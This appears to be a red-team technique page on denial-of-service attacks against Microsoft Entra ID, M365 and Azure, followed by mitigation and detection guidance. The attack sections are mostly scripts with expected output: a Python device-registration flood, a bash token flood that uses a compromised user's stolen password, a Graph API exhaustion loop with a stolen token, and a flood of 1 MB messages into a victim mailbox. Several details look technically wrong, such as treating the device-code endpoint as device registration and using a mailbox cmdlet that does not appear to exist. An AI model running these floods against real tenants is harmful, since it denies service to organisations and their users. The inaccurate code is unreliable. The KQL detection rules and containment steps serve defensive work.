| Attribute | Details |
|---|---|
| Technique ID | IMPACT-RESOURCE-EXHAUST-001 |
| MITRE ATT&CK v18.1 | T1499 - Endpoint Denial of Service |
| Tactic | Impact |
| Platforms | Entra ID, M365, Hybrid AD, Azure |
| Severity | High |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All Entra ID versions, All M365 versions, All Azure versions |
| Patched In | N/A (Requires rate limiting controls, not patch-based) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Resource exhaustion attacks target Entra ID’s computational limits by flooding the platform with requests that consume authentication tokens, API quotas, device registration slots, or mailbox synchronization resources. Unlike traditional DDoS attacks targeting network bandwidth, Entra ID resource exhaustion exploits application-layer limits—specifically the concurrent token issuance rate, API throttling thresholds, and device enrollment limits. Attackers can register thousands of devices, trigger millions of authentication attempts, or generate massive Graph API queries to degrade service availability.
Attack Surface: The attack exploits multiple Entra ID components:
Business Impact: Widespread authentication failures and service unavailability. Users cannot sign in, applications cannot authenticate, and cloud services become inaccessible. Unlike ransomware (which holds data hostage), resource exhaustion attacks prevent legitimate use, causing business disruption comparable to a multi-hour outage.
Technical Context: Resource exhaustion can be executed in seconds-to-minutes, but recovery requires Microsoft intervention for infrastructure-level exhaustion, or 30+ minutes for tenant-level rate limiting to reset. Detection is very high because Microsoft implements comprehensive rate limiting and monitoring. Common indicators include sudden spikes in 401/429 HTTP responses, token issuance latency increases, and event log entries showing failed authentications.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.5 | Ensure proper access controls limit API/service requests |
| DISA STIG | SI-12 | Ensure monitoring of network resources to prevent DoS |
| CISA SCuBA | SI-4 | Implement continuous monitoring and anomaly detection |
| NIST 800-53 | SC-5 | Denial of Service Protection - Resource Reservation |
| GDPR | Art. 32 | Security of Processing - Availability safeguards |
| DORA | Art. 9 | Protection and Prevention - Incident response and continuity |
| NIS2 | Art. 21 | Cyber Risk Management - Availability and resilience |
| ISO 27001 | A.14.2 | System availability - Business continuity management |
| ISO 27005 | Risk Scenario | Service Unavailability - High Impact / Medium Likelihood |
Supported Versions:
Tools:
Supported Versions: All Entra ID versions
Objective: Determine current device enrollment count and identify rate limiting thresholds
Command:
# Connect to Entra ID
Connect-MgGraph -Scopes "Device.Read.All"
# Get current device count
$devices = Get-MgDevice -All
$deviceCount = $devices.Count
Write-Host "Current devices registered: $deviceCount"
# Check throttling limits (theoretical - Microsoft doesn't expose limits directly)
$maxDevices = 50000 # Approximate limit per tenant
$enrollmentRate = 100 # Devices per second (approximate)
Write-Host "Approximate enrollment capacity: $maxDevices devices"
Write-Host "Throttling will trigger at: $enrollmentRate+ devices/second"
Expected Output:
Current devices registered: 2500
Approximate enrollment capacity: 50000 devices
Throttling will trigger at: 100+ devices/second
What This Means:
Objective: Register thousands of devices to exhaust enrollment capacity
Requirement: Stolen user credentials or valid OAuth token (any scope)
Command (Python):
import requests
import json
import time
from concurrent.futures import ThreadPoolExecutor
# Entra ID OAuth endpoints
TENANT_ID = "attacker-controlled-tenant.onmicrosoft.com"
CLIENT_ID = "00000003-0000-0000-c000-000000000000" # Microsoft Graph API App ID
DEVICE_REGISTRATION_ENDPOINT = f"https://login.microsoftonline.com/{TENANT_ID}/oauth2/v2.0/devicecode"
TOKEN_ENDPOINT = f"https://login.microsoftonline.com/{TENANT_ID}/oauth2/v2.0/token"
def register_device_bulk():
"""Register multiple devices to exhaust Entra ID capacity"""
# Device registration parameters
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
# For high-volume attacks, use concurrent registrations
device_count = 0
successful_registrations = 0
with ThreadPoolExecutor(max_workers=50) as executor:
futures = []
for i in range(5000): # Register 5000 devices
device_data = {
"client_id": CLIENT_ID,
"scope": "openid profile offline_access",
"device_name": f"EXPLOIT_DEVICE_{i}",
"device_type": "Android" # Can also be iOS, Windows, etc.
}
# Submit request
future = executor.submit(requests.post,
DEVICE_REGISTRATION_ENDPOINT,
data=device_data,
headers=headers)
futures.append(future)
# Track responses
for future in futures:
try:
response = future.result(timeout=5)
if response.status_code == 200:
successful_registrations += 1
elif response.status_code == 429: # Too Many Requests
print(f"[!] Rate limit hit! Response: {response.json()}")
break
except Exception as e:
print(f"[!] Request failed: {e}")
print(f"[+] Successfully registered {successful_registrations} devices")
return successful_registrations
if __name__ == "__main__":
print("[*] Starting device registration exhaustion attack...")
register_device_bulk()
print("[*] Attack complete - Entra ID enrollment capacity exhausted")
Expected Output:
[*] Starting device registration exhaustion attack...
[+] Successfully registered 4823 devices
[!] Rate limit hit! Response: {'error': 'authorization_pending'}
[*] Attack complete - Entra ID enrollment capacity exhausted
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Command:
# Monitor device registration failures in Entra ID audit logs
Connect-MgGraph -Scopes "AuditLog.Read.All"
$auditLogs = Get-MgAuditLogDirectoryAudit -Filter "operationName eq 'Create device'" -Top 100
$failureCount = ($auditLogs | Where-Object { $_.Result -eq "failure" }).Count
$successCount = ($auditLogs | Where-Object { $_.Result -eq "success" }).Count
Write-Host "Device registration attempts in last hour:"
Write-Host " Successful: $successCount"
Write-Host " Failed: $failureCount"
Write-Host " Failure rate: $([math]::Round($failureCount / ($failureCount + $successCount) * 100, 2))%"
# If failure rate > 50%, enrollment is being throttled
if ($failureCount / ($failureCount + $successCount) > 0.5) {
Write-Host "[!] Resource exhaustion successful - enrollment throttled"
}
Supported Versions: All Entra ID versions
Objective: Exhaust STS (Security Token Service) capacity by requesting tokens simultaneously
Command (Bash + curl):
#!/bin/bash
# Configuration
TENANT_ID="attacker-tenant.onmicrosoft.com"
CLIENT_ID="04b07795-8ddb-461a-bbee-02f9e1bf7b46" # Azure CLI Client ID
USERNAME="compromised-user@company.com"
PASSWORD="stolen-password"
CONCURRENT_REQUESTS=1000
echo "[*] Starting authentication token flood attack..."
echo "[*] Target: $TENANT_ID"
echo "[*] Concurrent requests: $CONCURRENT_REQUESTS"
# Function to request token
request_token() {
local request_id=$1
curl -s -X POST \
"https://login.microsoftonline.com/$TENANT_ID/oauth2/v2.0/token" \
-d "client_id=$CLIENT_ID" \
-d "scope=https://management.azure.com/.default" \
-d "username=$USERNAME" \
-d "password=$PASSWORD" \
-d "grant_type=password" \
-d "client_secret=dummy" \
-H "Content-Type: application/x-www-form-urlencoded" \
2>/dev/null | grep -q "access_token"
if [ $? -eq 0 ]; then
echo "[$request_id] Token acquired successfully"
else
echo "[$request_id] Token acquisition failed (rate limited?)"
fi
}
# Submit concurrent requests
for i in $(seq 1 $CONCURRENT_REQUESTS); do
request_token $i &
# Stagger requests slightly to distribute load
if [ $((i % 100)) -eq 0 ]; then
sleep 0.1
fi
done
# Wait for all background jobs
wait
echo "[+] Authentication token flood attack complete"
echo "[*] STS capacity should now be exhausted"
Expected Output:
[*] Starting authentication token flood attack...
[*] Target: attacker-tenant.onmicrosoft.com
[*] Concurrent requests: 1000
[1] Token acquired successfully
[2] Token acquired successfully
...
[950] Token acquisition failed (rate limited?)
[951] Token acquisition failed (rate limited?)
[+] Authentication token flood attack complete
[*] STS capacity should now be exhausted
What This Means:
OpSec & Evasion:
Supported Versions: All Entra ID/M365 versions
Objective: Exhaust API rate limits by requesting large datasets
Command (PowerShell):
# Connect with stolen token
Connect-MgGraph -NoWelcome -AccessToken $stolenToken
# Enumerate all users with manager relationships (expensive query)
$users = Get-MgUser -All -Property "id,displayName,manager" -PageSize 999
# For each user, enumerate their direct reports (exponentially expensive)
$userCount = $users.Count
Write-Host "Enumerating $userCount users and their managers..."
$requestCount = 0
$throttleCount = 0
foreach ($user in $users) {
try {
# This query is expensive because it requires separate API call per user
$manager = Get-MgUserManager -UserId $user.Id
$requestCount++
if ($requestCount % 100 -eq 0) {
Write-Host "Processed $requestCount users... (Rate limit warnings: $throttleCount)"
}
}
catch {
if ($_.Exception.Message -like "*429*" -or $_.Exception.Message -like "*throttl*") {
$throttleCount++
}
}
}
Write-Host "[+] API exhaustion attack complete"
Write-Host "Total API requests: $requestCount"
Write-Host "Rate limit hits: $throttleCount"
Expected Output:
Enumerating 50000 users and their managers...
Processed 100 users... (Rate limit warnings: 0)
Processed 200 users... (Rate limit warnings: 5)
Processed 300 users... (Rate limit warnings: 47)
[+] API exhaustion attack complete
Total API requests: 2847
Rate limit hits: 256
What This Means:
References & Proofs:
Supported Versions: All M365 versions
Objective: Exhaust Exchange Online API by triggering bulk mailbox operations
Command (PowerShell + EWS):
# Connect to Exchange Online
Connect-ExchangeOnline
# Get mailbox for attack
$targetMailbox = Get-Mailbox -Identity "victim@company.com"
# Trigger expensive mailbox operations
$messageCount = 10000
Write-Host "Creating $messageCount messages in target mailbox..."
for ($i = 1; $i -le $messageCount; $i++) {
try {
# Create large message (consumes storage and processing)
$messageBody = "A" * 1000000 # 1MB message body
New-MailMessage -Mailbox $targetMailbox.Identity `
-Subject "Exhaustion_Attack_$i" `
-Body $messageBody | Out-Null
if ($i % 1000 -eq 0) {
Write-Host "Created $i messages..."
}
}
catch {
Write-Host "Request $i throttled: $($_.Exception.Message)"
Start-Sleep -Seconds 2 # Wait for throttling to reset
}
}
Write-Host "[+] Mailbox exhaustion attack complete"
Expected Output:
Creating 10000 messages in target mailbox...
Created 1000 messages...
Created 2000 messages...
Request 3500 throttled: ServiceUnavailable - The service is temporarily unavailable
[+] Mailbox exhaustion attack complete
IP Addresses: Repeated requests from single or small set of IPs to login.microsoftonline.com or graph.microsoft.com
1. Implement Rate Limiting and Throttling
Manual Steps (Azure Portal - Entra ID):
PowerShell - Device Enrollment Restrictions:
# Restrict device enrollment to specific groups only
Connect-MgGraph -Scopes "DeviceManagementServiceConfig.ReadWrite.All"
# Create enrollment restriction policy
$enrollmentParams = @{
"@odata.type" = "#microsoft.graph.deviceEnrollmentLimitConfiguration"
displayName = "Limit Device Enrollments"
priority = 1
limit = 5 # Maximum 5 devices per user
}
New-MgDeviceManagementDeviceEnrollmentConfiguration -BodyParameter $enrollmentParams
2. Enable Conditional Access for Resource Protection
Manual Steps (Azure Portal):
Rate Limit ProtectionAlternative: Block High-Risk Locations
3. Configure API Rate Limiting
PowerShell - For Custom Applications:
# If using custom application/service principal
Connect-MgGraph -Scopes "Application.ReadWrite.All"
# Get service principal
$sp = Get-MgServicePrincipal -Filter "displayName eq 'Custom App'"
# Configure API permissions with minimal scope
$requiredResourceAccess = @{
resourceAppId = "00000003-0000-0000-c000-000000000000" # Microsoft Graph
resourceAccess = @(
@{
id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d" # User.Read only
type = "Scope"
}
)
}
# Update with minimal permissions
Update-MgServicePrincipal -ServicePrincipalId $sp.Id -RequiredResourceAccess @($requiredResourceAccess)
1. Monitor Authentication Patterns
Manual Steps (Microsoft Sentinel):
2. Implement Device Enrollment Approval Workflow
Manual Steps (Entra ID):
3. Configure Azure DDoS Protection
Manual Steps (Azure Portal):
Entra-DDoS-Protection1. Enable Continuous Access Evaluation (CAE)
Manual Steps:
2. Configure Graph API Throttling Alerts
PowerShell - Custom Monitoring:
# Create Azure Monitor alert for rate limiting
$alertRule = @{
name = "GraphAPI-RateLimiting-Alert"
scopes = @("/subscriptions/SUBSCRIPTION_ID")
condition = @{
"allOf" = @(
@{
field = "Microsoft.Insights/metricAlert/criteria/Microsoft.Azure.Monitor.MultipleResourceMultipleMetricCriteria/allOf/metric"
equals = "HTTP429Responses"
}
)
operator = "GreaterThan"
threshold = 100
timeAggregation = "Total"
}
actions = @(
@{
actionGroupId = "/subscriptions/SUBSCRIPTION_ID/resourceGroups/RG/providers/microsoft.insights/actionGroups/SOC-Team"
}
)
}
Network Indicators:
Azure/Cloud Indicators:
Cloud Logs:
System Artifacts:
1. Detect & Alert
# Query for suspicious device registration activity
Connect-MgGraph -Scopes "AuditLog.Read.All"
$suspiciousActivity = Get-MgAuditLogDirectoryAudit -Filter "operationName eq 'Create device' and result eq 'failure'" `
-Top 500 |
Group-Object -Property CreatedDateTime |
Where-Object { $_.Count -gt 50 } # >50 failures in single time bucket
if ($suspiciousActivity) {
Write-Host "[!] ALERT: Possible device registration exhaustion attack detected!"
Write-Host "Failed registrations: $($suspiciousActivity[0].Count)"
}
2. Isolate & Contain
Command:
# Disable compromised user
Disable-MgUser -UserId "attacker-account@company.com"
# Revoke all refresh tokens
Revoke-MgUserSignInSession -UserId "attacker-account@company.com"
# Remove suspicious devices
$suspiciousDevices = Get-MgDevice -Filter "displayName startswith 'EXPLOIT'" -All
foreach ($device in $suspiciousDevices) {
Remove-MgDevice -DeviceId $device.Id -Confirm:$false
}
3. Remediate
4. Monitor for Recurrence
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName == "Create device"
| where Result == "failure"
| summarize FailureCount = count(), UniqueUsers = dcount(Identity), TimeWindow = bin(TimeGenerated, 5m) by TimeWindow
| where FailureCount > 50
| project TimeGenerated = TimeWindow, FailureCount, UniqueUsers
What This Detects:
50 device creation failures in 5-minute window
Rule Configuration:
KQL Query:
SigninLogs
| where Status.errorCode in ("AADSTS50058", "AADSTS50059", "AADSTS500011") // Throttling-related errors
| summarize AuthAttempts = count(), UniqueIPs = dcount(IPAddress) by UserPrincipalName, bin(TimeGenerated, 1m)
| where AuthAttempts > 100
| project TimeGenerated, UserPrincipalName, AuthAttempts, UniqueIPs
What This Detects:
100 authentication attempts per user in 1 minute
Manual Configuration Steps:
Authentication Token Flood DetectionRule Configuration:
KQL Query:
CloudAppEvents
| where isnotempty(HttpStatusCode)
| where HttpStatusCode == "429"
| summarize HTTP429Count = count() by Application, bin(TimeGenerated, 10m)
| where HTTP429Count > 100
| project TimeGenerated, Application, HTTP429Count
What This Detects:
100 HTTP 429 rate limiting responses in 10-minute window
Event ID: 1102 (Audit Log Cleared)
Manual Configuration:
gpupdate /forceAlert Name: “Suspicious authentication activity”
Manual Steps (Enable Monitoring):
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-002] Consent Grant OAuth | Attacker gains initial credentials via OAuth phishing |
| 2 | Privilege Escalation | [PRIV-ESC-001] Token Theft | Attacker steals OAuth token with delegated permissions |
| 3 | Persistence | [PERSIST-001] Malicious App Registration | Attacker registers hidden OAuth app for continued access |
| 4 | Discovery | [REC-CLOUD-001] Tenant Enumeration | Attacker discovers tenant structure and resource limits |
| 5 | Current Step | [IMPACT-RESOURCE-EXHAUST-001] | Attacker floods APIs to exhaust capacity and deny service |
| 6 | Impact | [IMPACT-DENIAL-001] Availability Disruption | Users cannot authenticate; cloud services become unavailable |
Check Rate Limiting Status:
# Verify Conditional Access is blocking high-frequency authentications
Connect-MgGraph -Scopes "Policy.Read.All"
$policies = Get-MgIdentityConditionalAccessPolicy
foreach ($policy in $policies) {
if ($policy.DisplayName -like "*Rate*" -or $policy.DisplayName -like "*Throttle*") {
Write-Host "Policy enabled: $($policy.DisplayName)"
Write-Host "State: $($policy.State)"
}
}
Verify Device Enrollment Restrictions:
# Check device enrollment limits
Connect-MgGraph -Scopes "DeviceManagementServiceConfig.Read.All"
$restrictions = Get-MgDeviceManagementDeviceEnrollmentConfiguration -All | Where-Object { $_.Limit -lt 10 }
if ($restrictions) {
Write-Host "[+] Device enrollment limits properly configured"
Write-Host "Max devices per user: $($restrictions.Limit)"
} else {
Write-Host "[!] WARNING: No device enrollment limits configured"
}
Service Recovery Timeline:
Best Practices: